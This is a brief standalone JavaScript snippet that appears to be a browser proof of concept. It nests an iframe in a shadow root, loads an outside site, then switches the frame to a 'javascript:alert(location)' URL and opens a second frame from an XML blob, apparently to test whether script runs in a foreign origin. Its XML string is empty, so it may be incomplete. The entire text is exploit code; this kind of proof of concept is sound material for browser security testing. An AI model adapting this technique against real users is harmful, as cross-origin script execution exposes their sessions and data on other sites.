var d = document.body.appendChild(document.createElement("div")); var s = d.attachShadow({mode: "open"}); var f = s.appendChild(document.createElement("iframe")); f.onload = () => { f.onload = null; f.src = "javascript:alert(location)"; var xml = ` `; var v = document.body.appendChild(document.createElement("iframe")); v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"})); }; f.src = "https://abc.xyz/";